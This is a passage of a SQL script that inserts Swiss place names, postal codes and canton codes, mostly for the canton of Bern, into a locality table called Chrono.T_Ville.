INTO Chrono.T_Ville VALUES ("CHE","Bauma",8494,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sternenberg",8499,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wiesendangen",8542,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bertschikon",8543,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gundetswil",8543,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kefikon ZH",8543,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Attikon",8544,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Menzengrüt",8546,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Aarberg",3270,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bargen BE",3282,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Grossaffoltern",3257,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ammerzwil BE",3257,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Suberg",3262,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kallnach",3283,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Niederried b. Kallnach",3283,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kappelen",3273,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lyss",3250,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Busswil BE",3292,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ortschwaben",3042,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Meikirch",3045,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wahlendorf",3046,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Detligen",3036,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Radelfingen b. Aarberg",3271,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lätti",3053,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ruppoldsried",3251,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rapperswil BE",3255,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dieterswil",3256,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bangerten b. Dieterswil",3256,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Seewil",3256,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schüpfen",3054,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Frieswil",3035,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wiler b. Seedorf",3266,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Seedorf BE",3267,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lobsigen",3268,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Aarwangen",4912,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Auswil",4944,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bannwil",4913,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bleienbach",3368,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Busswil b. Melchnau",4917,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gondiswil",4955,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Langenthal",4900,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Untersteckholz",4916,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lotzwil",4932,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gutenburg",4932,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Madiswil",4934,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Leimiswil",4935,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kleindietwil",4936,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Melchnau",4917,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Obersteckholz",4924,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oeschenbach",4943,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Reisiswil",4919,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Roggwil BE",4914,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rohrbach",4938,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rohrbachgraben",4938,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rütschelen",4933,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schwarzhäusern",4911,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bützberg",4922,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Thunstetten",4922,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ursenbach",4937,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wynau",4923,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bern",3004,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bern",3005,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bern",3006,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bern",3007,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bern",3008,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bern",3010,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bern",3011,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bern",3011,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bern",3012,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bern",3013,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bern",3014,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bern",3015,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bern",3018,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bern",3019,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bern",3020,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bern",3027,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bolligen",3065,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bremgarten b. Bern",3047,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Herrenschwanden",3037,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kirchlindach",3038,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wabern",3084,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Spiegel b. Bern",3095,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Liebefeld",3097,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Köniz",3098,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schliern b. Köniz",3098,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gasel",3144,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Niederscherli",3145,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mittelhäusern",3147,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Niederwangen b. Bern",3172,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberwangen b. Bern",3173,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Thörishaus",3174,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gümligen",3073,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Muri b. Bern",3074,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberbalm",3096,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Stettlen",3066,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Boll",3067,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Utzigen",3068,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hinterkappelen",3032,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wohlen b. Bern",3033,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Murzelen",3034,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Uettligen",3043,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Innerberg",3044,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Säriswil",3049,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zollikofen",3052,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Worblaufen",3048,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ittigen",3063,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ostermundigen",3072,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Biel/Bienne",2502,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Biel/Bienne",2503,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Biel/Bienne",2504,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Biel/Bienne",2505,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Macolin",2532,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Evilard",2533,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Arch",3296,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Büetigen",3263,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Büren an der Aare",3294,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Diessbach b. Büren",3264,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dotzigen",3293,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lengnau BE",2543,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Leuzigen",3297,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Meienried",3294,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Meinisberg",2554,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberwil b. Büren",3298,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Pieterlen",2542,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rüti b. Büren",3295,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wengi b. Büren",3251,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Aefligen",3426,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Alchenstorf",3473,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bäriswil BE",3323,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Burgdorf",3400,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ersigen",3423,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Niederösch",3424,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberösch",3424,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hasle b. Burgdorf",3415,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schafhausen im Emmental",3415,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Biembach im Emmental",3419,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Heimiswil",3412,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kaltacker",3413,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hellsau",3429,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hindelbank",3324,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Höchstetten",3429,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kernenried",3309,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kirchberg BE",3422,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Koppigen",3425,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hettiswil b. Hindelbank",3325,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Krauchthal",3326,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lyssach",3421,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mötschwil",3324,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberburg",3414,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lyssach",3421,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rüdtligen",3422,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Alchenflüh",3422,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rumendingen",3472,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rüti b. Lyssach",3421,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Willadingen",3425,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wynigen",3472,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rüedisbach",3474,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Corgémont",2606,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mont-Crosin",2610,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cormoret",2612,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cortébert",2607,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Montagne-de-Courtelary",2608,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Courtelary",2608,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Ferrière",2333,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mont-Tramelan",2723,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Orvin",2534,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Prés-d'Orvin",2534,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Renan BE",2616,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Romont BE",2538,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Le Cerneux-Veusil",2345,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St-Imier",2610,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mont-Soleil",2610,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Pontins",2610,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sonceboz-Sombeval",2605,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sonvilier",2615,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Montagne-de-Sonvilier",2615,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Tramelan",2720,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Reussilles",2722,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Villeret",2613,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Frinvillier",2535,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Plagne",2536,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vauffelin",2537,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Péry",2603,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Heutte",2604,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Brüttelen",3237,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Erlach",3235,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Finsterhennen",2577,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gals",3238,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gampelen",3236,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ins",3232,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lüscherz",2576,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Müntschemier",3225,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Siselen BE",2577,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Treiten",3226,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Tschugg",3233,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vinelz",3234,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bätterkinden",3315,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kräiligen",3315,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Deisswil b. Münchenbuchsee",3053,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Diemerswil",3053,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Etzelkofen",3306,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Grafenried",3308,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zauggenried",3309,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fraubrunnen",3312,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Büren zum Hof",3313,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schalunen",3314,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Limpach",3317,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mülchi",3317,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Jegenstorf",3303,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Münchringen",3303,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ballmoos",3303,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Scheunen",3305,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Iffwil",3305,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mattstetten",3322,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Moosseedorf",3302,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Münchenbuchsee",3053,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Urtenen-Schönbühl",3322,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Utzenstorf",3427,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wiggiswil",3053,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wiler b. Utzenstorf",3428,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zielebach",4564,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zuzwil BE",3303,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Adelboden",3715,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Aeschi b. Spiez",3703,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Aeschiried",3703,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Emdthal",3711,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Frutigen",3714,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ried (Frutigen)",3724,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Achseten",3725,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kandergrund",3716,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Blausee-Mitholz",3717,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kandersteg",3718,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Krattigen",3704,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mülenen",3711,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Reichenbach im Kandertal",3713,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wengi b. Frutigen",3714,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Scharnachtal",3722,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kiental",3723,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sundlauenen",3800,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Beatenberg",3803,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bönigen b. Interlaken",3806,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Brienz BE",3855,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Axalp",3855,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Brienzwiler",3856,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Därligen",3707,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Burglauenen",3816,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Grindelwald",3818,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gsteigwiler",3814,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Interlaken",3800,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zweilütschinen",3815,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gündlischwand",3815,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Habkern",3804,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hofstetten b. Brienz",3858,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Interlaken",3800,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Iseltwald",3807,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lauterbrunnen",3822,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Isenfluh",3822,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wengen",3823,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kleine Scheidegg",3823,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Eigergletscher",3823,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Stechelberg",3824,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mürren",3825,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gimmelwald",3826,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Leissigen",3706,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lütschental",3816,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Matten b. Interlaken",3800,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Niederried b. Interlaken",3853,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberried am Brienzersee",3854,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Goldswil b. Interlaken",3805,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ringgenberg BE",3852,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Saxeten",3813,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schwanden b. Brienz",3855,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Unterseen",3800,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wilderswil",3812,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Arni BE",3508,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Biglen",3507,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bowil",3533,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Brenzikofen",3671,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Freimettigen",3510,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Grosshöchstetten",3506,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Häutligen",3510,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Herbligen",3671,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kiesen",3629,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gysenstein",3503,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Konolfingen",3510,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Obergoldbach",3434,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Landiswil",3434,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Linden",3673,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mirchel",3532,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Trimstein",3083,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Münsingen",3110,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Tägertschi",3111,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Niederhünigen",3504,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberdiessbach",3672,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Aeschlen b. Oberdiessbach",3672,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bleiken b. Oberdiessbach",3674,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberthal",3531,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oppligen",3629,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rubigen",3113,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schlosswil",3082,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Walkringen",3512,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bigenthal",3513,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rüfenacht BE",3075,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vielbringen b. Worb",3075,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Worb",3076,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Enggistein",3077,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Richigen",3078,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zäziwil",3532,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberhünigen",3504,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Allmendingen b. Bern",3112,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wichtrach",3114,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Clavaleyres",1595,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rizenbach",3206,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ferenbalm",3206,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Biberen",3206,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gammen",3206,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Frauenkappelen",3202,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Golaten",3207,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gurbrü",3208,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kriechenwil",3179,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Laupen BE",3177,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mühleberg",3203,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rosshäusern",3204,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gümmenen",3205,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Münchenwiler",1797,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Neuenegg",3176,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wileroltigen",3207,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Belprahon",2744,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Champoz",2735,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Corcelles BE",2747,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Court",2738,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Crémines",2746,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Eschert",2743,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Grandval",2745,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Loveresse",2732,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Moutier",2740,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Perrefitte",2742,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Reconvilier",2732,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Roches BE",2762,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Le Fuet",2712,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bellelay",2713,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Saicourt",2732,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Saules BE",2732,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schelten",2827,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Seehof",2747,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sorvilier",2736,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Tavannes",2710,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Tanne",2720,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rebévelier",2717,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Châtelat",2715,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Monible",2715,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sornetan",2716,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fornet-Dessous",2717,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Souboz",2748,"BE"); INSERT INTO 